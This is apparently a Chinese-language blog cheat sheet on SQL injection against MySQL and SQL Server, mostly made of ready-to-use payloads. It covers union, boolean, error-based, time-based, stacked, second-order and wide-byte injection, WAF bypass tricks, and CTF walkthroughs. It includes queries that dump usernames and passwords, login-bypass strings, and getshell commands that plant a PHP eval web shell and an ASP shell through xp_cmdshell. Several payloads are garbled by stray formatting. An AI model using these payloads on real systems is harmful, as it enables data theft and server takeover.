sql注入总结

2021/4/19 首发

2021/5/29 对报错注入、二次注入、bypass有所补充,新增宽字节注入

0x00注入原理

SQL注入主要通过闭合字符串,注释后续本来为命令的一部分字符改变为文本的方式来对sql语句进行拼接达到执行任意sql命令的目的

SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在再次查询时,存储的字符串会连接到一个SQL命令中,执行一些注入者想要的恶意的QL代码(这种注入方式一般被称为二次注入)。

0x01注入类型的判断

按变量类型分类

数字型

可以进行?id=3-1进行测试,如果回显结果是?id=2的回显的话,那说明注入点为数字型

字符型

可以进行?id=2a进行测试,如果回显结果是?id=2的回显的话,那说明注入点为字符型

0x02判断后台数据库种类

其中mysql最为常见

根据操作系统平台

sql server:Windows(IIS)

MySQL:Apache

根据web语言

Microsoft SQL Server:ASP和.Net

MySQL:PHP

Oracle/MySQL:java

以下以mysql数据库为主

0x03手工注入

MySQL版本大于5.0和小于5.0的注入流程区别比较大,下午主要以大于5.0版本为主

常用函数

信息数据库

information_schema(after mysql 5.0)

系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES

储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

COLUMNS

储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

length(str) :返回字符串str的长度

substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len) :跟上面的一样,截取字符串

ascii(str) :返回字符串str的最左面字符的ASCII代码值

ord(str) :将字符或布尔类型转成ascll码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

基本流程思路

1.判断注入点

1
2
3
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#

2.获取字段数和观察页面回显的字段处

1
order by n

3.获取数据库名

1
2
select null,null,database() 
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),

4.获取表名

1
2
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
union select (select group_concat(table_name)from information_schema.tables),2,3
1
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1

5.获取表中的字段

1
2
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='xxxxxxxx'
union select (select group_concat(column_name)from information_schema.columns),2,3

6.获取各个字段的具体值

1
2
select null,group_concat(username,password) from xxxxxxx
union select(select group_concat(id,'~',uname)from test.users),2,3

常见的注入方法

注释符

主要用于注释后续代码为注释文本

1
2
3
4
# %23
--(空格)或--+
/**/
/*!...*/

union注入

user() :当前使用者的用户名

database():当前数据库名

version():数据库版本

datadir:读取数据库的绝对路径**@@vasedir:mysql安装路径@@version_compile_os:操作系统concat():连接一个或者多个字符串group_concat():**连接一个组的所有字符串,并以逗号分隔每一条数据

1
2
3
id =-1 union select 1,2,3
xx' union select 1,(select database()) #
xx' union select (select database()),2 or '      //这里如果把查询语句放到2的位置上,因为or的关系会不能显示正常查询的内容

布尔注入

当查询页面会根据查询的成功和失败出现两种不同页面时可以考虑使用bool注入

常用函数

1.char() 解ASCII码;

2.mid()截取字符串;

举例:mid(‘hello’,1,3),从第1位开始截取3位,输出位hel

3.substr()与mid()相同,都为截取字符串;

4.count()计算查询结果的行数;

5.concat()查询结果合并但保持原有行数;

6.group_concat()查询结果合并但都放在一行中;

7.ascii() 查询ascii码;

猜数据库长度(利用二分法);

  • id=1 and (length(database()))>1
  • id=1 and (length(database()))>50

猜第一个字符,第二个字符,以此类推

  • and ascii(mid(database(),1,1))>1
  • and ascii(mid(database(),2,1))>1
1
id=1' substr(database(),1,1)='t'#

查询当前数据库中所有表名;

1
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询第一个表的长度;

1
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查询表的第一个字符;

1
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询atelier表里有几个字段;

1
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查询第一个字段长度;

1
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查询字段第一个字符;

1
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查询字段所有行数;

1
and (select count(*) from db83231_asfaa.atelier)>4

查询字段名的行数(查询emails表,uname字段);

1
and (select count(uname)from security.emails)>7 查询uname的行数

查询字段内容;

1
length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100

报错注入

前提是后端有Exception这种异常处理的回显才能使用,不然即使能报错你也看不到回显。

floor()和rand()

1
**union** **select** count**(*),2,**concat**(**':'**,(select** **database()),**':'**,**floor**(**rand**()*2))as** a **from** information_schema**.tables** **group** **by** a       */*利用错误信息得到当前数据库名*/*

extractvalue()

1
id**=1** **and** **(**extractvalue**(1,**concat**(0**x7e**,(select** user**()),0**x7e**)))**

updatexml()

1
id**=1** **and** **(**updatexml**(1,**concat**(0**x7e**,(select** user**()),0**x7e**),1))**

geometrycollection()

1
id**=1** **and** geometrycollection**((select** ***** **from(select** ***** **from(select** user**())**a**)**b**))**

multipoint()

1
id**=1** **and** multipoint**((select** ***** **from(select** ***** **from(select** user**())**a**)**b**))**

polygon()

1
id**=1** **and** polygon**((select** ***** **from(select** ***** **from(select** user**())**a**)**b**))**

multipolygon()

1
id**=1** **and** multipolygon**((select** ***** **from(select** ***** **from(select** user**())**a**)**b**))**

linestring()

1
id**=1** **and** linestring**((select** ***** **from(select** ***** **from(select** user**())**a**)**b**))**

multilinestring()

1
id**=1** **and** multilinestring**((select** ***** **from(select** ***** **from(select** user**())**a**)**b**))**

exp()

1
id**=1** **and** exp**(~(select** ***** **from(select** user**())**a**))**

其他引出报错的方法

在information_schema等被过滤的前提下,可以使用以下方法绕过并引发报错

爆数据库名

1
select * from test where id=1-a();

爆表名

1
select extractvalue(1,concat(0x7e,(select * from users where id=1 and Polygon(id))))

爆字段名

用union

1
select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

不用union

1
2
3
select name from test where id=1 and (select * from (select * from test as a join test as b) as c);
// 第一个字段出来后,使用using爆第二个
select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select * from (select * from users as a  join news as b) as c;

ERROR 1060 (42S21): Duplicate column name ‘id’

mysql> select * from (select * from users a join users b using(id)) c;

ERROR 1060 (42S21): Duplicate column name ‘name’

mysql> select * from (select * from users a join users b using(id,name)) c;

ERROR 1060 (42S21): Duplicate column name ‘passwd’

mysql> select * from (select * from users a join users b using(id,name,passwd)) c;

时间注入

在boolean注入无回显时,使用次方法来判断是否成功

1
2
3
4
5
6
7
8
基于sleep的延迟 
xx' or if(length((select database()))>1,sleep(5),1) #

笛卡尔乘积运算时间造成的时间延迟
xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #

基于benchmark的延迟
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概会用2S时间

一般流程

爆库名

1
2
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23
使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag

爆表名

1
2
and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1) ,1,1))>101,1,sleep(3)) %23
假设有一表名为flagtable

爆列名

1
2
and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,1) ,1,1))>100,1,sleep(3)) %23
假设爆出列名为name和password

爆表中的内容

1
and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23

堆叠查询注入

利用handler

1
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

基本形式

1
2
3
4
5
6
7
8
9
10
11
12
13
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
//其中 HANDLER tbl_name OPEN AS example
//其后 HANDLER example READ index_name="example2"

利用rename

以强网杯随便注为例

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1
2
3
1'; rename table words to word1; rename table  `1919810931114514` to words; alert table words 
add id int unsigned not Null auto_increment primary key ; alert table words change flag data
varchar(100); #

具体思路为将需要获得的数据的表、列等名字修改为目前可以查询到的表和列的名字,需要注意的是,在修改需要获得数据的表、列的名字前,需要先将目前可以查询到的表和名字先进行修改,然后在利用页面本来就有的查询功能查询敏感数据。

利用execute

同距离19强网杯的随便注

execute用来执行由SQLPrepare创建的SQL语句。

将select * from 1919810931114514进行16进制编码

再构造出

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

prepare…from…是预处理语句,会进行编码转换。利用这个来让语句进行解码

二次注入

把非法代码写入数据库(利用‘\’进行转义写入),然后在其他地方调用这个数据拼接成为非法代码写入sql语句中

简单的逻辑如下

非法代码转义 —存入—>数据库—取出—>后台变量中—拼接—>组成非法语句

eg:[SWPU2019]Web1

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#group by获取列数
-1'/**/group/**/by/**/22,'11
#查看版本
-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取表名
-1'/**/union/**/select/**/1,
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,'22
#获取用户名
-1'/**/union/**/select/**/1,
(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取密码
-1'/**/union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

内联注入

举例:

1
id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用别名:

1
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

宽字节注入

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

getshell

1
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+

也可使用dumpfile进行写入。

outfile和dumpfile的区别:

outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。

数据库写入:

1
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:www\uploadFiles2019-11404.asp"'

利用查询不存在用户时虚构用户进行注入

mysql在查询不存在的数据时,会自动构建虚拟数据

可以看到表自动加上了一个用户

我们可以用这个来进行登录进去admin账户等用途

bypass

关键字嵌套,大小写绕过

union=⇒UNiunionoN

编码绕过

URL编码 #→%23

16进制编码 users→0x7573657273

ASCII编码

Unicode编码

双重编码

注释

末尾注释:#,%23,-,—+

//注释可以用于代替空格,%0b代替//

内联注释/!要执行的code/例如:id=1/!UnIoN/SeLeCT

’ 和 “ 注释,用于闭合SQL语句中的引号

关键字替换

  • 空格替换:/**/,%a0,()

  • and替换:&&

  • or替换:||

  • =替换:<,>,like , rlike

  • 引号替换:用16进制编码

  • 逗号绕过

    substr、mid()函数中可以利用from to来摆脱对逗号的利用;

    limit中可以利用offset来摆脱对逗号的利用

  • 比较符号( >、< )绕过(greatest、between and)

  • 逻辑符号的替换(and=&& or=|| xor=| not=!)

等价函数绕过

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()举例:substring()和substr()无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1

特殊符号

反引号,select version(),绕过空格和正则加号和点,”+”和”.”代表连接,也可绕过空格和关键字过滤@符号,用于定义变量,一个@代表用户变量,@@代表系统变量

关键字拆分

1
'se'+'lec'+'t'%S%E%L%C%T 1,2,3?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')!和():'or--+2=--!!!'2id=1+(UnI)(oN)+(SeL)(EcT)

加括号绕过

小括号

1
union (select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))

花括号

1
select{x user}from{x mysql.user}id=-1 union select 1,{x 2},3

bypass information_schema

前提:mysql≥5.7

url https://www.anquanke.com/post/id/193512

用sys替代

拿表名

1
2
3
4
5
6
7
8
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

获取第一列列名
?id=-1' union all select*from (select * from users as a join users b)c--+
依次的列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

http参数污染

如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检测进行绕过。

1
index.php?id=1&id=-1' union select 1,database(),3--+

其他trick

万能密码

1
2
3
' or '1'='1        //完整语句 select username,age from userinfo where id='' or '1'='1'
' or 1=1#         //完整语句 select username,age from userinfo where id='' or 1=1#'
'=0#            //完整语句 select username,age from userinfo where id=''=0#

判断三种数据库的语句

1
2
3
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0

注意点

表名,列名为数字时,要使用``反引号括起来,例如1231818